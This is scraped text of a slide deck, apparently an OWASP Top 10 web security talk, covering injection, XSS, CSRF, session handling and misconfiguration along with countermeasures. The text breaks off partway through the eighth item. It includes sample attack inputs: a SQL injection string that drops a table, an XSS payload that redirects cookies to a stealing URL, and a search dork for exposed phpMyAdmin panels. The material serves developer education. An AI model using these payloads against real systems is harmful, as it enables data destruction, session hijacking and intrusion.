Top 10 Web Security Vulnerabilities v2 110529171455 Phpapp01

  • View

  • Download

Embed Size (px)

Text of Top 10 Web Security Vulnerabilities v2 110529171455 Phpapp01

The Top 10 Security Vulnerabilities in Web ApplicationsBrian Bex Huff Chief Software Architect



Intro Open Web Application Security Project (OWASP) Top 10 Security Vulnerabilities Countermeasures



What is OWASP? Worldwide non-profit focused on improving software security Reaches out to ALL developers: not just security professionals

Who am I? Oracle ACE Director Author of 2 books on Oracle Technology Twitter: @bex -- used to be @OWASP Here to help all developers

What will you learn? The top 10 security mistakes that developers make How to design software with an assurance of security3

OWASP Top Ten1) Injection 2) Cross Site Scripting 3) Broken Authentication and Session Management 4) Insecure Direct Object References 5) Cross Site Request Forgery (CSRF) 6) Security Misconfiguration 7) Insecure Cryptographic Storage 8) Failure to Restrict URL Access 9) Insufficient Transport Layer Protection 10) Unvalidated Redirects and Forwards


1) Injection

Used when your app sends user-supplied data to other apps Database, Operating System, LDAP, Web Services

Hackers "inject" their code to run instead of yours To access unauthorized data, or completely take over remote application

Example: SQL injection attackString query = "SELECT * FROM productsWHERE name='" + request.getParameter("id") +"'";

Code expects a nice parameter in the URL Hacker could instead supply this:';+DROP+TABLE+'products';

';+DROP+TABLE+'products'; ';+DROP+TABLE+'products';5


Dont: name your child Robert); DROP TABLE Students;-Do: expect SQL Injection6


"Connections" between systems are highly vulnerable Always assume data coming in could be "evil" be sure to include "evil" use cases and user stories in your design

Ideally, only allow the user to select among "safe" options no generic text allowed

If user-input text is needed, use parameterized queries clean up quotes, parenthesis, and SQL comments

Use a battle-tested library for protecting your database Java PreparedStatement, OWASP's ESAPI codecs7

2) Cross Site Scripting

Sites must "cleanse" user input before displaying it Hackers can create URLs to inject their own HTML onto the page can be used to do almost any kind of attack!!!

Example: JSP to draw HTML based on user input String html = "";

Code expects a nice URL:

But a hacker could supply this:'>document.location=' steal/'+document.cookie

Then, try to trick somebody to go to that URL Stolen cookies are frequently as good as stole passwords



Never, ever, ever trust user-submitted content! URLs, comments threads, web forms

Properly "escape" any data before displaying it on web pages JavaScript parameters, URL parameters, STYLE elements Remove script tags, and possibly anything with a SRC attribute Use ESAPI to "cleanse" your HTML

Do not allow state-change from HTTP GET requests Otherwise, an IMG tag could cause you to lose all your data

Set the HttpOnly flag in your response headers Prevents document.cookie from working in JavaScript9

3) Broken Authentication and Session Management

HTTP is a "stateless" protocol Nice and simple: HTTP request, HTTP response All data must be passed in the request every time

How do we store state? Client side with cookies Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL Problem: now stealing sessionIds is just as good as stealing passwords!

Multiple ways to determine a session ID packet sniffing -- especially on an open WiFi access point HttpReferrer logs, if sessionId is in the URL1 0


Assume that a user stole a session ID Determine how bad this would be in your application

Use SSL everywhere! Makes it harder for people to sniff your session ID

If you cannot use SSL everywhere, use it for logins Have a cryptographically strong session ID

Good sessionIds should be very difficult to re-use Embed user IP address, user name, timestamp, and a secret Forces an attacker to spoof IP addresses to take over Prompt for re-login if IP changes during a session1 1

4) Insecure Direct Object References

Assume my project id is 123 I see a link on My Projects page that goes here:

If I alter the URL, can I see other peoples projects?

Do you only restrict access in the web form? What if I could "guess" the URL? Could I see the page? Don't trick yourself into thinking complex URLs are any more secure Security != Obscurity1 2


Every resource needs a security level What roles do you need to access certain items? Access Control Lists are easy to implement, but dont always scale

All access to that resource should go through the same check What action are you taking, with what resource? Put it all in one common codebase for simplicity May need to run check multiple times, for sub-actions and sub-resources Unusual behavior? Have additional authentication questions/layers!

Front-end restriction is nice for usability, but not security Back-end application must double-check access rights1 3

5) Cross Site Request Forgery (CSRF)

Evil sites can hijack your browser, and run secure request:1) User logs into secure application behind the firewall 2) User goes to "evil" website, or loads up "evil" HTML email 3) HTML contains this image:

With JavaScript and XSS, evil sites can completely take over yourbrowser1)Can browse around your intranet, log into bank accounts Anything you are currently logged into 1)Complete control, as long as you stay on the evil site

Unfortunate side-effect of Single-Sign-On1 4


All state change should require a unique token in the request But if its in the URL, it's vulnerable! URLs are frequently logged, and can be "sniffed" avoid reusable tokens

General solution: All state change requires HTTP POST, not a GET Put one-time token in a hidden field on the web form After POST, do a GET redirect to a confirmation page

What kind of token? Single-request tokens: safest, but a pain Session-based tokens hashed with session ID and action

Require multiple-level authentication If an action looks fishy, re-prompt user for login1 5

6) Security Misconfiguration

Most web applications depend on some kind of framework Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries JARs and JARs and JARs of fun...

What if your framework issued a security patch? Do you have a centralized policy for keeping dependencies up-to-date? How long would it take you to discover new code? How long would it take to recompile/test/redeploy?

Do you know all security configurations in the framework? Odds are no... documentation is usually obtuse Being helpful is a security hole

Have you properly "hardened" your framework? Delete default users, disable unused services and ports1 6


Subscribe to newsletters and blog feeds to get patches Install the patches as quickly as possible

Do periodic scans to detect misconfiguration / missing patches Disable features that are "nice" for developers, but "nasty" for security Use automation to ensure patches are up-to-date If you can't verify it, it's not secure Can you prove glass is bulletproof without firing bullets at it?

Taking over websites shouldn't be this easy: E+intitle:phpmyadmin

1 7

7) Insecure Cryptographic Storage

All applications store sensitive data Credit cards, passwords, secure documents

How much "sensitive" data is in your log files? In general, or for exotic errors?

How are you preventing unauthorized access to these resources? If somebody stole your backup tapes, how bad would it be?

1 8


If you store secrets, encrypt them! Use only battle-tested standard encryption algorithms

Analyze possible threats: inside attack, external user Make sure encryption policy is appropriate for the threats

Encrypt data anywhere it's stored long term Especially backups! Store backups of decryption keys separately from data

Restrict access to decrypted data to only authorized users Hash all passwords with a standard algorithm, and a "salt" Use strong keys to access the information Create a password management policy, and stick with it!

1 9

8) Failure to Restrict URL Access

Similar to #4: Insecure Direct Object Reference Need to block specific actions, even if no resource is identified

Example: my project is 123 I will see these URLs on my home page:

I could fish around and try other URLs as well:

Would your application prevent this? Same general issue: you have front-end security, but not back-end security

2 0


Do authentication checks at least twice Front end UI, and back end Controller

Don't draw URLs to the page if the user cannot access them Bad usability Hackers might be tempted to fish around for vulnerabilities

Never assume a URL is all